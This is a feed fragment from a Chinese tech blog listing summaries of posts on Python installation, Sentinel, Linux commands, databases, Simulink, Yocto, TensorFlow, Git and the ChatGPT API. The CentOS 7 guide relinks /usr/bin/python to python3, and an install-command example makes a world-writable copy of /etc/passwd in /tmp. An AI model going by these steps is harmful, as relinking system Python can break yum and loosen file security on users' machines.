      <description>测试机器：Linux Centos7 一，安装Python 有线版： 1、首先检查机器的gcc版本（要求版本在4.8.5） gcc --version&#xA;2、安装前置依赖 yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel libffi-devel&#xA;3、下载Python-3.7.4 wget https://www.python.org/ftp/python/3.7.4/Python-3.7.4.tar.xz&#xA;4、解压并进入 tar -xvf Python-3.7.4.tar.xz&#xA;5、配置安装目录 ./configure --prefix=/usr/local/python3&#xA;6、执行安装 make &amp;amp;&amp;amp; make install&#xA;7、查看python软链接 cd /usr/bin&#xA;ll python*&#xA;8、清除python软链接的连接信息 unlink /usr/bin/python&#xA;8、更换python软链接的连接地址 ln -s /usr/local/python3/bin/python3 /usr/bin/python&#xA;9、验证是否成功 （如果提示是3.7.4版本说明是成功） python -V&#xA;10、查看pip软链接（如果显示不存在，或者版本不是19.0.3，需要更换pip软链接的地址） cd /usr/bin&#xA;ll pip*&#xA;# 如果存在pip执行如下命令，清除pip软链接的地址信息，不存在不用执行&#xA;unlink /usr/bin/pip&#xA;11、更换pip软链接的连接地址（如果查询的pip版本就是19.0.3无需执行如下命令） ln -s /usr/local/python3/bin/pip3 /usr/bin/pip&#xA;12、验证pip是否成功（如果提示19.0.3版本说明成功） pip -V&#xA;离线版 1、首先检查机器的gcc版本（要求版本在4.</description>
    </item>
    <item>
      <title>Sentinel网关限流</title>
      <link>https://bchobby.github.io/posts/c6405416d865dbcf202dd8792f333f52/</link>
      <pubDate>Mon, 27 Nov 2023 12:23:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6405416d865dbcf202dd8792f333f52/</guid>
      <description>背景 在微服务架构下，每个服务的性能都不同，为避免出现流量洪峰将服务冲垮，需要依赖限流工具来保护服务的稳定性。sentinel是阿里提供的限流工具，社区活跃，功能也很全面，包含实时监控、流控、熔断等功能。它也提供了spring-cloud-gateway的支持，可以很方便和spring-gateway进行整合。&#xA;目标 spring-gateway服务添加sentinel支持，并通过sentinel dashboard进行规则配置，规则数据存在nacos里，支持规则变更实时生效。&#xA;方案 服务结构 spring-gateway改动 引入工程依赖 在pom文件里添加sentinel的依赖：&#xA;&amp;lt;!--sentinel支持spring--&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-sentinel&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;!--自动集成spring gateway--&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-cloud-alibaba-sentinel-gateway&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;!--支持nacos的动态数据源--&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;com.alibaba.csp&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;sentinel-datasource-nacos&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;加载限流规则 在application.properties文件里添加sentinel规则对应nacos配置信息：&#xA;project.name=spring-gateway&#xA;sentinel.nacos.default.namespace=SENTINEL_GROUP&#xA;spring.cloud.sentinel.datasource.gw_api_group.nacos.server-addr=${spring.cloud.nacos.config.server-addr}&#xA;spring.cloud.sentinel.datasource.gw_api_group.nacos.namespace=${spring.cloud.nacos.config.namespace}&#xA;spring.cloud.sentinel.datasource.gw_api_group.nacos.data-id=${project.name}-gw_api_group-rules&#xA;spring.cloud.sentinel.datasource.gw_api_group.nacos.group-id=${sentinel.nacos.default.namespace}&#xA;spring.cloud.sentinel.datasource.gw_api_group.nacos.data-type=json&#xA;spring.cloud.sentinel.datasource.gw_api_group.nacos.rule-type=gw_api_group&#xA;spring.cloud.sentinel.datasource.gw_flow.nacos.server-addr=${spring.cloud.nacos.config.server-addr}&#xA;spring.cloud.sentinel.datasource.gw_flow.nacos.namespace=${spring.cloud.nacos.config.namespace}&#xA;spring.cloud.sentinel.datasource.gw_flow.nacos.data-id=${project.name}-gw_flow-rules&#xA;spring.cloud.sentinel.datasource.gw_flow.nacos.group-id=${sentinel.nacos.default.namespace}&#xA;spring.cloud.sentinel.datasource.gw_flow.nacos.data-type=json&#xA;spring.cloud.sentinel.datasource.gw_flow.nacos.rule-type=gw_flow&#xA;spring.cloud.sentinel.datasource.degrade.nacos.server-addr=${spring.cloud.nacos.config.server-addr}&#xA;spring.cloud.sentinel.datasource.degrade.nacos.namespace=${spring.cloud.nacos.config.namespace}&#xA;spring.cloud.sentinel.datasource.degrade.nacos.data-id=${project.name}-degrade-rules&#xA;spring.cloud.sentinel.datasource.degrade.nacos.group-id=${sentinel.nacos.default.namespace}&#xA;spring.cloud.sentinel.datasource.degrade.nacos.data-type=json&#xA;spring.cloud.sentinel.datasource.degrade.nacos.rule-type=degrade&#xA;spring.cloud.sentinel.datasource.system.nacos.server-addr=${spring.cloud.nacos.config.server-addr}&#xA;spring.cloud.sentinel.datasource.system.nacos.namespace=${spring.cloud.nacos.config.namespace}&#xA;spring.cloud.sentinel.datasource.system.nacos.data-id=${project.name}-system-rules&#xA;spring.cloud.sentinel.datasource.system.nacos.group-id=${sentinel.nacos.default.namespace}&#xA;spring.cloud.sentinel.datasource.system.nacos.data-type=json&#xA;spring.cloud.sentinel.datasource.system.nacos.rule-type=system&#xA;spring.cloud.sentinel.datasource.authority.nacos.server-addr=${spring.cloud.nacos.config.server-addr}&#xA;spring.cloud.sentinel.datasource.authority.nacos.namespace=${spring.cloud.nacos.config.namespace}&#xA;spring.cloud.sentinel.datasource.authority.nacos.data-id=${project.name}-authority-rules&#xA;spring.cloud.sentinel.datasource.authority.nacos.group-id=${sentinel.nacos.default.namespace}&#xA;spring.cloud.sentinel.datasource.authority.nacos.data-type=json&#xA;spring.cloud.sentinel.datasource.authority.nacos.rule-type=authority&#xA;spring.cloud.sentinel.datasource.param_flow.nacos.server-addr=${spring.cloud.nacos.config.server-addr}&#xA;spring.cloud.sentinel.datasource.param_flow.nacos.namespace=${spring.cloud.nacos.config.namespace}&#xA;spring.cloud.sentinel.datasource.param_flow.nacos.data-id=${project.name}-param_flow-rules&#xA;spring.cloud.sentinel.datasource.param_flow.nacos.group-id=${sentinel.nacos.default.namespace}&#xA;spring.cloud.sentinel.datasource.param_flow.nacos.data-type=json&#xA;spring.cloud.sentinel.datasource.param_flow.nacos.rule-type=param_flow&#xA;限流处理 请求击中限流规则后，我们要对限流异常进行处理。可以通过自定义BlockRequestHandler来定制处理逻辑，也可以使用sentinel spring gateway的默认处理器，支持需要在配置文件里加上一下信息：</description>
    </item>
    <item>
      <title>Linux命令(134)之install</title>
      <link>https://bchobby.github.io/posts/00debf72533a9f1bd066dfbe0bd6c02e/</link>
      <pubDate>Mon, 27 Nov 2023 07:45:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00debf72533a9f1bd066dfbe0bd6c02e/</guid>
      <description>linux命令之install&#xA;1.install介绍 linux命令install是用来复制文件并设置其属性&#xA;2.install用法 install [参数] source destination&#xA;install参数 参数说明-m设定目标文件权限，默认为755-o设定目标文件属主-g设定目标文件属组-d创建目录 3.实例 3.1.复制/etc/passwd文件至/tmp目录，并设置文件权限为777 命令：&#xA;install -m 777 /etc/passwd /tmp&#xA;[root@centos79 tmp]# cd /tmp [root@centos79 tmp]# install -m 777 /etc/passwd /tmp [root@centos79 tmp]# ls -l passwd -rwxrwxrwx 1 root root 2397 11月 24 09:20 passwd [root@centos79 tmp]# 3.2.复制/etc/passwd文件至/tmp目录，并设置属主为zhangtengjiao，属组apache，文件权限为777 命令：&#xA;install -m 777 -o zhangtengjiao -g apache /etc/passwd /tmp&#xA;[root@centos79 tmp]# cd /tmp [root@centos79 tmp]# install -m 777 -o zhangtengjiao -g apache /etc/passwd /tmp [root@centos79 tmp]# ls -l passwd -rwxrwxrwx 1 zhangtengjiao apache 2397 11月 24 09:23 passwd [root@centos79 tmp]# 3.</description>
    </item>
    <item>
      <title>【python】Python将100个PDF文件对应的json文件存储到MySql数据库（源码）【独一无二】</title>
      <link>https://bchobby.github.io/posts/3a45f063d1e08e5a2d8418d7837c2e1e/</link>
      <pubDate>Sun, 26 Nov 2023 23:09:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a45f063d1e08e5a2d8418d7837c2e1e/</guid>
      <description>👉博__主👈：米码收割机&#xA;👉技__能👈：C++/Python语言&#xA;👉公众号👈：测试开发自动化【获取源码+商业合作】&#xA;👉荣__誉👈：阿里云博客专家博主、51CTO技术博主&#xA;👉专__注👈：专注主流机器人、人工智能等相关领域的开发、测试技术。&#xA;Python将100个PDF文件对应的json文件存储到MySql数据库（源码） 目录 Python将100个PDF文件对应的json文件存储到MySql数据库（源码）1. 需求描述2. 结果展示3. 代码分析3. 1 导入模块3.2 数据库配置3.3 数据库连接3.4 创建数据库表3.5 数据插入函数3.6 加载和处理JSON数据3.7数据检索函数1.8 示例检索和清理 部分代码 1. 需求描述 给100篇PDF文件与其一一对应的json文件，假定这一百篇PDF文件存储于D盘的名为100PDF的文件夹中，json文件存储在D盘名为100JSON的文件夹中。&#xA;要求：&#xA;1.利用python对接数据库，将这100篇PDF和对应的JSON文件存储在名为Mypdf的数据库中。&#xA;2.写一段python代码，能够调用这100篇 PDF和其对应的JSON文件。&#xA;100_PDF_MetaData.json 部分内容如下：&#xA;{ &#34;elsevier_05cbcb9ef5629bc25e84df43572f9d1eddb9a35f&#34;: { &#34;date&#34;: &#34;1981-12-01T00:00:00&#34;, &#34;ref_paper&#34;: [], &#34;conference&#34;: &#34;&#34;, &#34;keywords&#34;: [], &#34;year&#34;: 1981, &#34;author&#34;: { &#34;affiliation&#34;: [ &#34;Chemistry Department, B-017, University of California at San Diego, La Jolla, CA 92093 U.S.A.&#34;, &#34;Chemistry Department, B-017, University of California at San Diego, La Jolla, CA 92093 U.</description>
    </item>
    <item>
      <title>冒泡排序，迈开跑路第一步</title>
      <link>https://bchobby.github.io/posts/7e56f196dd9db558c366873bd35479c3/</link>
      <pubDate>Sun, 26 Nov 2023 23:04:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e56f196dd9db558c366873bd35479c3/</guid>
      <description>#include&amp;lt;iostream&amp;gt; #include&amp;lt;string&amp;gt; using namespace std; int main() { int arr[] = { 7,8,6,3,2,4,8,6,5,1 }; int len = sizeof(arr) / sizeof(arr[0]); int temp = 0; for (int i = 0; i &amp;lt; len-1; i++) { for (int j = 0; j &amp;lt; len-i-1; j++) { if (arr[j] &amp;gt; arr[j + 1]) { temp = arr[j]; arr[j] = arr[j+1]; arr[j+1] = temp; } } } for (int i = 0; i &amp;lt; len; i++) { cout &amp;lt;&amp;lt; arr[i] &amp;lt;&amp;lt; endl; } system(&#34;</description>
    </item>
    <item>
      <title>MATLAB 和 Simulink 官方文档下载地址</title>
      <link>https://bchobby.github.io/posts/80d8785d0702ae61ea36ec6e7ad4cb15/</link>
      <pubDate>Sun, 26 Nov 2023 21:10:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80d8785d0702ae61ea36ec6e7ad4cb15/</guid>
      <description>MATLAB 官方文档中文版下载网址：&#xA;https://ww2.mathworks.cn/help/pdf_doc/matlab/index.html&#xA;如图：&#xA;MATLAB 官方文档英文版下载网址：&#xA;https://ww2.mathworks.cn/help/pdf_doc/matlab/index.html?lang=en&#xA;如图：&#xA;Simulink 官方文档中文版下载网址：&#xA;https://ww2.mathworks.cn/help/pdf_doc/simulink/index.html&#xA;如图：&#xA;Simulink 官方文档英文版下载网址：&#xA;https://ww2.mathworks.cn/help/pdf_doc/simulink/index.html?lang=en&#xA;如图：</description>
    </item>
    <item>
      <title>CentOS虚机给root扩容</title>
      <link>https://bchobby.github.io/posts/b8b9f06a96126fc9c7c131fce46b4e86/</link>
      <pubDate>Sun, 26 Nov 2023 19:30:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8b9f06a96126fc9c7c131fce46b4e86/</guid>
      <description>1、VirtualBox设置-&amp;gt;存储，添加一个VDI虚拟盘，假设100G&#xA;2、进入系统，切换到root用户，fdisk -l，查看新加的硬盘，假设为/dev/sdc，创建物理卷pvcreate /dev/sdc&#xA;3、给centos卷组加上新的物理卷/dev/sdc，vgextend centos /dev/sdc，centos卷组名称可通过pvs查看&#xA;4、扩容root逻辑卷容量，lvextend -L +100G /dev/mapper/centos-root，或者lvextend -L +100%FREE /dev/mapper/centos-root，将所有可用容量都用来扩容&#xA;5、扩展逻辑卷，xfs_growfs /dev/mapper/centos-root&#xA;如果一切顺利，那root应该已经成功扩容100G了</description>
    </item>
    <item>
      <title>Simulink 的代数环</title>
      <link>https://bchobby.github.io/posts/784b48c40b4df62ba28268ea45aee501/</link>
      <pubDate>Sun, 26 Nov 2023 18:19:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/784b48c40b4df62ba28268ea45aee501/</guid>
      <description> 代数环, 就是由于模型的输出反馈到模块或子系统先的某个输入端, 如果这个输入是直接馈入的, 那么二者在同一个采样点内需得到求解, 但又互相依赖, 哪一方都不能完成求解过程, 使得解算器无法解算导致错误产生, 这样的情况称为代数环。&#xA;一旦 Simulink 遇到代数环, 将根据 Configuration Pararmeters 中的诊断设定执行动作, 是警告或报错。打开 Configuration Paramters 的 Diagnostics 页面, 如图所示:&#xA;当选择 none 时, Simulink 遇到代数环尝试继续求解, 如无法求解则报错; 选择为 warning 时, simulink 遇到代数环时报警, 尝试求解无果时报错; 选择 error 时, simulink 遇到代数环时直接报错, 并将代数环部分标红。也可以通过 M 代码在 Command window 中实现该设置:&#xA;set_param(gcs, &#39;AlgebraicLoopMsg&#39;, &#39;error&#39;); </description>
    </item>
    <item>
      <title>【Yocto】yocto编译系统Image优化笔记</title>
      <link>https://bchobby.github.io/posts/758c6525914460fa738ca016dafded7a/</link>
      <pubDate>Sun, 26 Nov 2023 17:30:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/758c6525914460fa738ca016dafded7a/</guid>
      <description>yocto编译系统Image优化笔记 使用yocto编译出来的Image文件(比如ext4格式）有时候根据业务需求，是要进行剪裁以缩小Image的Size。&#xA;比如系统有OTA需求，系统预留的OTA分析大小是500M。但是Image（ext4格式）是1G大小。即使使用压缩文件，也未达到500M。这种情况下，可能就需要进行剪裁了。&#xA;这里记录下一下，Yocto Image剪裁时可能会用到的一些知识点。&#xA;是否进行了strip 对于编译系统来说，strip操作可理解为对编译生成的成果物（so、bin之类的）剔除其用于Debug的symbol等。strip后成果物的size会变下。&#xA;Yocto系统默认对Image的成果物进行Strip操作，但可以通过设置下述变量让Yocto对成果物不进行strip。&#xA;# If set to “1”, causes the build to not strip binaries in resulting packages and prevents the -dbg package from containing the source files INHIBIT_PACKAGE_STRIP #Prevents the OpenEmbedded build system from splitting out debug information during packaging. #By default, the build system splits out debugging information during the do_package task. INHIBIT_PACKAGE_DEBUG_SPLIT #If set to “1”, causes the build to not strip binaries in the resulting sysroot.</description>
    </item>
    <item>
      <title>tensorflow(00)——CPU版与GPU版安装教程</title>
      <link>https://bchobby.github.io/posts/6b2ffd3f48d4ad69f942393fa12c6de5/</link>
      <pubDate>Sun, 26 Nov 2023 15:46:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b2ffd3f48d4ad69f942393fa12c6de5/</guid>
      <description>目录&#xA;1.参考博客&#xA;2. CPU版安装的基本步骤&#xA;2.1 创建虚拟环境&#xA;2.2 安装cpu版本的TensorFlow 2.3 测试tensorflow&#xA;2.4 Pycharm &amp;amp;Tensorflow 2.5 Tensorflow &amp;amp; Hello world&#xA;3. GPU版本安装教程&#xA;3.1 查看CUDA版本&#xA;3.2 查看官网对应版本&#xA;3.3 将tensorflow装到虚拟环境中&#xA;1.参考博客 (1条消息) Tensorflow 2.0 最新版(2.4.1) 安装教程_ZSYL的博客-CSDN博客_pip安装tensorflow2.0&#xA;(1条消息) Win11-Tensorflow2.0（GPU）最新版安装_ZSYL的博客-CSDN博客_tensorflow-gpu最新版本&#xA;2. CPU版安装的基本步骤 2.1 创建虚拟环境 同样在Anaconda Prompt中利用Anaconda创建一个python3.9的环境，环境名称为tensorflow ，输入下面命令： conda create -n tensorflow_cpu python=3.9 在Anaconda Prompt中启动tensorflow环境&#xA;格式：activate 虚拟环境名&#xA;activate tensorflow&#xA;注：当不使用tensorflow时，关闭tensorflow环境，命令为：deactivate 虚拟环境&#xA;2.2 安装cpu版本的TensorFlow 利用下面的命令安装，强制安装CPU版本。&#xA;pip install tensorflow-cpu&#xA;最后 完美的安装了最新的tensorflow 2.4.1 cpu版本。&#xA;注意：一定要在 刚刚创建的tensorflow的环境下安装！&#xA;2.3 测试tensorflow 在Anaconda Prompt 中启动tensorflow环境，并进入python环境。</description>
    </item>
    <item>
      <title>limit 1000,10 和 limit 10一样快吗？</title>
      <link>https://bchobby.github.io/posts/a2a63fae1c6fd5a78ba8fb94311ba7de/</link>
      <pubDate>Sun, 26 Nov 2023 15:16:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2a63fae1c6fd5a78ba8fb94311ba7de/</guid>
      <description> select * from page where id &amp;gt;=(select id from page order by id limit 6000000, 1) order by id limit 10; 这种情况也能通过一些方式去优化。比如 select * from page t1, (select id from page order by user_name limit 6000000, 100) t2 WHERE t1.id = t2.id; </description>
    </item>
    <item>
      <title>说一下HashMap的实现原理？</title>
      <link>https://bchobby.github.io/posts/2231ee9609d012be3d621b65d5df4ada/</link>
      <pubDate>Sun, 26 Nov 2023 15:05:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2231ee9609d012be3d621b65d5df4ada/</guid>
      <description>说一下HashMap的实现原理？ static final int DEFAULT_INITIAL_CAPACITY = 1 &amp;lt;&amp;lt; 4; // aka 16 /** * The maximum capacity, used if a higher value is implicitly specified * by either of the constructors with arguments. * MUST be a power of two &amp;lt;= 1&amp;lt;&amp;lt;30. */ static final int MAXIMUM_CAPACITY = 1 &amp;lt;&amp;lt; 30; /** * The load factor used when none specified in constructor. */ static final float DEFAULT_LOAD_FACTOR = 0.75f; transient HashMap.</description>
    </item>
    <item>
      <title>WebStorm/IDEA上传本地项目到GitHub</title>
      <link>https://bchobby.github.io/posts/d1563e3273fc32ef0885ad76a65f2012/</link>
      <pubDate>Sat, 25 Nov 2023 22:58:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1563e3273fc32ef0885ad76a65f2012/</guid>
      <description>Java 目录：Java 目录_jav目录大全-CSDN博客&#xA;在使用 WebStorm/IDEA 上传本地项目到 GitHub 之前，先要做一些相关配置。&#xA;以 WebStorm 为例，IDEA 同。&#xA;1、首先打开 WebStorm ，依次点击File -&amp;gt; Settings... 打开系统设置面板，在上面搜索 github 配置 GitHub 相关参数&#xA;如下图所示，在1处搜索 github ，如果2处是 Token 则点击3处的 Create API Token 打开4处的弹窗，输入用户名密码&#xA;2、如下图所示，如果1处是 Password ，直接在下面输入用户名密码即可&#xA;3、登录完成后，可以点击下图1处 Test 按钮，测试一下，出现2处所示弹窗，表示连接成功&#xA;4、连接成功后，我们还要连接我们下载的 Git，依旧，在1处搜索 git ，在2处输入 Git 安装路径，一般情况下这里能自动获取，然后点击3处 Test 按钮，出现4处弹窗，说明连接成功&#xA;5、因为我们本地 Git 仓库和 GitHub 仓库之间的传输是通过 SSH 加密的，所以我们需要配置验证信息&#xA;使用以下命令生成 SSH Key：&#xA;$ ssh-keygen -t rsa -C &#34;youremail@example.com&#34; -keygen -t rsa -C &#34;youremail@example.com&#34; 后面的 youremail@youremail.com 为你在 GitHub 上注册的邮箱，运行命令后会要求确认路径和输入密码，这里 我们无需输入，一路回车就行。成功的话会在C:\Users\Administrator\ 下生成.</description>
    </item>
    <item>
      <title>Activemq 使用</title>
      <link>https://bchobby.github.io/posts/330771becf93b4bcdac27dc8e2b58526/</link>
      <pubDate>Sat, 25 Nov 2023 15:04:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/330771becf93b4bcdac27dc8e2b58526/</guid>
      <description>Activemq 使用 引入依赖： &amp;lt;!--SprngBoot集成ActiveMQ的起步依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-activemq&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.activemq&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;activemq-pool&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.12.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.messaginghub&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;pooled-jms&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2、使用&#xA;public void SendTopicMessage(String text, String topic,Long time) throws Exception { //获取连接 Connection connection = null; Session session = null; MessageProducer producer = null; Destination destination = null; try { //获取连接 connection = getActiveMqConnection(); //获取session session = connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE); // 创建一个消息队列目标 destination = getDestination(topic, session, destination); // 创建生产者 producer = session.createProducer(destination); producer.setDeliveryMode(DeliveryMode.PERSISTENT); // 创建消息 TextMessage message = session.</description>
    </item>
    <item>
      <title>Altium Designer学习笔记12</title>
      <link>https://bchobby.github.io/posts/cd5107e66478c2ba6303785ee671c24a/</link>
      <pubDate>Sat, 25 Nov 2023 11:19:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd5107e66478c2ba6303785ee671c24a/</guid>
      <description>把几个层理解下：&#xA;layer名称功能说明信息Toplayer信号层铜箔层，电气连接的层Bottomlayer信号层铜箔层，电气连接的层Internal Planes内层连接地和电源上，一般情况下不布线，是由整片铜膜组成的Mechanical 1机械层电路板机械结构，设计双面板只需要使用默认选项Machanical layer 1层即可Top Overlay丝印层silkscreen layer Bottom Overlay&#xA;丝印层silkscreen layerTop paste顶层锡膏防护层掩膜层保护铜线。Bottom Paste底层锡膏防护层掩膜层保护铜线。Top Solder顶层阻焊层放置零件被焊到不正确的地方。 Bottom Solder&#xA;底层阻焊层放置零件被焊到不正确的地方。DrillGuide钻孔钻孔图和钻孔位置KeepOutLay禁布层具有电气特性的布线不可以超过禁止布线层的边界。MultiLayer多层横跨所有信号板层 层堆栈管理器：&#xA;dielectric：绝缘层。&#xA;两种典型的绝缘层是指Core（填充层）、和Prepreg（塑料层）。</description>
    </item>
    <item>
      <title>Altium Designer学习笔记13</title>
      <link>https://bchobby.github.io/posts/791c833e2b5ecd6827b4fbe61f292876/</link>
      <pubDate>Sat, 25 Nov 2023 09:47:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/791c833e2b5ecd6827b4fbe61f292876/</guid>
      <description>0603电容封装的画法：&#xA;再画下三极管SOT-23的三极管的封装图：&#xA;画出三极管的封装图：&#xA;在画图的过程中，遇到了一个问题，画闭环线路的时候，就会被自动删除，查出是这个地方的配置需要进行修改。&#xA;那这个地方的闭环问题就得到了解决。&#xA;另外有一个量尺寸的方法：&#xA;按r 和m键开始量。&#xA;最后是按shift+c键进行取消。</description>
    </item>
    <item>
      <title>【GPT-3.5】通过python调用ChatGPT API与ChatGPT对话交流</title>
      <link>https://bchobby.github.io/posts/8e434401b42842abb29efa438e17f440/</link>
      <pubDate>Sat, 25 Nov 2023 08:28:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e434401b42842abb29efa438e17f440/</guid>
      <description>文章目录 一、引言二、AIGC简介三、OpenAI介绍四、GPT-3.5介绍五、获得OpenAI API Key六、调用ChatGPT API实现与ChatGPT对话七、参考链接 一、引言 ChatGPT 的火爆，成功带火了AIGC，让它进入大众的视野。&#xA;ChatGPT 和Whisper API&#xA;开发者现在可以通过API将ChatGPT和Whisper模型集成到应用程序和产品之中。&#xA;二、AIGC简介 ​ AIGC即AI Generated Content，利用人工智能技术来生成内容，是继UGC、PGC之后的新型内容生产方式，AI写作、AI绘画、AI作曲、AI剪辑、AI动画、AI交互等都属于AIGC的分支。AIGC是一种利用机器智能创作内容的新技术，它不同于UGC，它有自己的技术特点，比如数据量化、创造力、跨模态融合和认知交互等。这些技术特点使得AIGC成为不可替代的新一代内容生成方式。&#xA;三、OpenAI介绍 OpenAI是一个非营利性研究公司，致力于推动人工智能的发展和应用，创造出对人类有益的技术和成果。OpenAI由多位顶尖人工智能专家创立，包括伊隆·马斯克（Elon Musk）、塞巴斯蒂安·索特（Sebastian Thrun）、萨姆·阿尔特曼（Sam Altman）等。&#xA;OpenAI的目标是研究和开发通用人工智能，以实现强人工智能的梦想。为了实现这个目标，OpenAI聚集了全球最优秀的研究人员，致力于推动人工智能的前沿研究，并将研究成果转化为对人类有益的应用。&#xA;OpenAI已经在多个领域取得了显著的成就，例如在自然语言处理、图像识别、机器学习、深度学习等方面。OpenAI还推出了一系列开源工具和技术，以促进人工智能的发展和应用，包括GPT系列模型、DALL·E、Gym等。&#xA;总的来说，OpenAI致力于打造人工智能的可持续发展生态，推动人工智能的进一步发展，为人类创造更美好的未来。&#xA;四、GPT-3.5介绍 GPT-3.5：一组改进 GPT-3 的模型，可以理解并生成自然语言或代码。GPT-3.5 模型可以理解和生成自然语言或代码。gpt-3.5-turbo功能最强大、最具成本效益的模型是针对聊天进行了优化，但也适用于传统的完成任务。&#xA;五、获得OpenAI API Key 1、登录https://openai.com/api&#xA;2、选择“View API keys”&#xA;三、创建API key，点击“Create new secret key”&#xA;四、创建API key成功，复制保存。&#xA;sk-bUQeskc00tsTp************5i5Dop8BxAL1n7 六、调用ChatGPT API实现与ChatGPT对话 import openai # 从这里开始，通向AI的大门，获取AI的能量源泉 输入代码&#xA;# 导入OpenAI的Python SDK import openai # 设置OpenAI API的密钥，该密钥必须在OpenAI的网站上注册并获取 openai.api_key = &#34;sk-bUQeskc00tsTp************5i5Dop8BxAL1n7&#34; # 创建一个新的对话生成请求，并将响应存储在名为“response”的变量中 response = openai.ChatCompletion.create( # 创建一个新的对话生成请求，并将响应存储在名为“response”的变量中 model=&#34;</description>
    </item>
    <item>
      <title>linux初识</title>
      <link>https://bchobby.github.io/posts/3636805828a1fb4cff0e039c2a226d99/</link>
      <pubDate>Fri, 24 Nov 2023 21:09:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3636805828a1fb4cff0e039c2a226d99/</guid>
      <description>Linux是什么？ 要学习Linux，首先我们需要知道Linux是什么? 通俗来讲，Linux是一款操作系统的品类，诸如Debian，centos之类则是具体的Linux操作系统。&#xA;Linux内核版本&amp;amp;&amp;amp;发行版本 内核版本 &amp;gt;&amp;gt; Linux内核版本内核(kernel)是系统的心脏，是运行程序和管理像磁盘和打印机等硬件设备的核心程序，它提供了一个在裸设备与应用程序间的抽象层。Linux内核版本又分为稳定版和开发版，两种版本是相互关联，相互循环：稳定版：具有工业级强度，可以广泛地应用和部署。新的稳定版相对于较旧的只是修正一些bug或加入一些新的驱动程序。开发版：由于要试验各种解决方案，所以变化很快。内核源码网址：http://www.kernel.org所有来自全世界的对Linux源码的修改最终都会汇总到这个网站，由Linus领导的开源社区对其进行甄别和修改最终决定是否进入到Linux主线内核源码中。&#xA;发行版本 &amp;gt;&amp;gt; Linux发行版本Linux发行版(也被叫做GNU/Linux发行版)通常包含了包括桌面环境、办公套件、媒体播放器、数据库等应用软件。目前市面上较知名的发行版有：Ubuntu、RedHat、CentOS、Debian、Fedora、SuSE、OpenSUSE、Arch Linux、SolusOS等。&#xA;操作系统的品类都有什么呢？&#xA;Linux，Windows，ios等等，但Linux与它们有一个本质的区别，那就是Linux是开源的操作系统。&#xA;也就是说，Linux的源码是向全世界公开的，而Windows，ios等则是闭源。&#xA;Linux目录 Linux的目录呈树状结构，在Linux中，文件夹都被称为目录。&#xA;关于文件：文件 = 内容＋属性。所谓对文件的操作，无外乎对属性和内容的操作。&#xA;Linux下路径分隔符 /&#xA;Windows下路径分隔符 \&#xA;Linux 没有盘符这一概念，只有一个根目录 / ，所有的文件都在 / 下面，比如 /root/Desktop 就是从 / 进入 root 然后从 root 进入 Desktop ,与Windows中的路径等同。&#xA;Linux目录中存放的内容 绝对路径和相对路径 Linux中，. 表示当前目录，.. 表示上一目录。&#xA;从 / 目录开始描述的路径交绝对路径，从当前目录开始描述的路径叫相对路径。&#xA;家目录 绝对路径：/var/log/message&#xA;相对路径：log/message&#xA;Linux下文件的颜色 Xshell 学习Linux的日子将与Xshell相伴，Xshell是一款远程终端软件，我们将使用它远程登录Linux。&#xA;XShell 下的复制粘贴 复制: ctrl + insert (有些同学的 insert 需要配合 fn 来按)&#xA;粘贴: shift + insert&#xA;ctrl + c / ctrl + v 是不行的</description>
    </item>
    <item>
      <title>数据结构-归并排序&#43;计数排序</title>
      <link>https://bchobby.github.io/posts/d92b957d267df12a80e7b5ce024def38/</link>
      <pubDate>Fri, 24 Nov 2023 20:47:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d92b957d267df12a80e7b5ce024def38/</guid>
